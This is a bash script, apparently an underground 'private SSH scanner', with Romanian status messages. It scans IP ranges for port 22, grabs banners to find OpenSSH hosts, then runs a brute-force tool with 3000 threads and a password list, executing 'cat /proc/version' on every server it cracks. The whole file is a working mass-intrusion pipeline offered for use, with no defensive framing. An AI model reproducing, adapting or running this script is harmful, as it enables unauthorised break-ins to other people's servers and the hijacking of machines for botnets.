#!/bin/bash

### COLORS ###
BLK='[1;30m'
RED='[1;31m'
GRN='[1;32m'
YEL='[1;33m'
DBLU='[1;34m'
MAG='[1;35m'
CYN='[1;36m'
WHI='[1;37m'
DRED='[0;31m'
DGRN='[0;32m'
DYEL='[0;33m'
DBLU='[0;34m'
DMAG='[0;35m'
DCYN='[0;36m'
DWHI='[0;37m'
RES='[0m'
### COLORS ###+

### SETTINGS ###
timp=60
interfata=enp27s0
viteza=10
port=22
threads=3000
timeout=15
banthread=350
passfile=pass
### SETTINGS ###

rm -rf i bios.txt ip.tmp scan.log banner.log
clear
echo "${DBLU}                                  		     ${RES}"
echo "${DBLU} _____     __      _______ _______      ______  ${RES}"
echo "${DBLU}|  __ \   /\ \    / /_   _|  __ \ \    / /___ \ ${RES}"
echo "${DBLU}| |  | | /  \ \  / /  | | | |  | \ \  / /  __) |${RES}"
echo "${DBLU}| |  | |/ /\ \ \/ /   | | | |  | |\ \/ /  |__  |${RES}"
echo "${DBLU}| |__| / ____ \  /   _| |_| |__| | \  /   ___) |${RES}"
echo "${DBLU}|_____/_/    \_\/   |_____|_____/   \/   |____/ ${RES}"
echo "${DBLU}                                  		     ${RES}"
echo "${YEL}                DAVID & HEXCHAT                  ${RES}"
echo "${BLK}           PRIVATE SSH SCANNER - 2020	     ${RES}"
echo "${BLK}                 GOSH SCANNER                    ${RES}"
sleep 1
echo "${YEL}						     ${RES}"
echo "${DWHI}[${RED}+${DWHI}] ${YEL}Port scanner: ${GRN}ON${RES}"
sleep 2
timeout $timp ./.ps $port -a $1 -i $interfata -s $viteza
sleep 3
cat bios.txt |shuf > ip.tmp
cat ip.tmp |sort |uniq > ip2.tmp
rm -rf ip.tmp
cat ip2.tmp | uniq | shuf  > i
rm -rf ip2.tmp
wc -l i
echo -e "${DWHI}[${RED}-${DWHI}] ${YEL}Port scanner: ${GRN}OFF${RES}"
pkill -f .ps
echo -e "${DWHI}[${RED}+${DWHI}] ${YEL}Brute: ${GRN}ON${RES}"
./.banner bios.txt $port $banthread > /dev/null
sleep 3
rm -rf i
echo "${DWHI}[${RED}-${DWHI}] ${YEL}Banner: ${GRN}OFF${RES}"
pkill -f .banner
sleep 1
vps=$(cat banner.log |wc -l) > /dev/null
echo ""
echo "${DWHI}[${RED}+${DWHI}] ${WHI}Am gasit ${BLK}> ${GRN}$vps${RES} ${YEL}servere vulnerabile!${RES}"
echo ""
cat banner.log | grep OpenSSH|cut -d ":" -f 1 > i
sleep 5
./.haiduc $threads -f i $passfile $port "cat /proc/version"
pkill -f .haiduc
sleep 5
./filtrer
echo "${DWHI}[${RED}+${DWHI}] ${WHI}Am terminat scanul, alege alta clasa!${RES}"
